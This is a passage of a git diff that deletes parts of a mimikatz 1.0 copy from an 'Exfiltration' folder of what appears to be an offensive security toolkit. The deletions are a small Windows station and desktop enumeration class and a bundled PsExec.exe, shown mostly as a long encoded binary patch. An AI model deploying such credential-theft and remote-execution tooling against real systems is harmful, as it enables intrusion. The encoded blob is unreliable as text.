(EnumWindowStations(EnumWindowStationProc, reinterpret_cast(mesWinstas)) != 0); -} - -bool mod_winsta_desktop::getDesktops(vector * mesDesktop) -{ - return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast(mesDesktop)) != 0); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h deleted file mode 100644 index 34b9a94..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_winsta_desktop -{ -private: - static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); - static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); - -public: - static bool getWinstas(vector * mesWinstas); - static bool getDesktops(vector * mesDesktop); // ! -}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe deleted file mode 100644 index ed674807d6049ba54db25e032c9ec662a963f0f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 381816 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 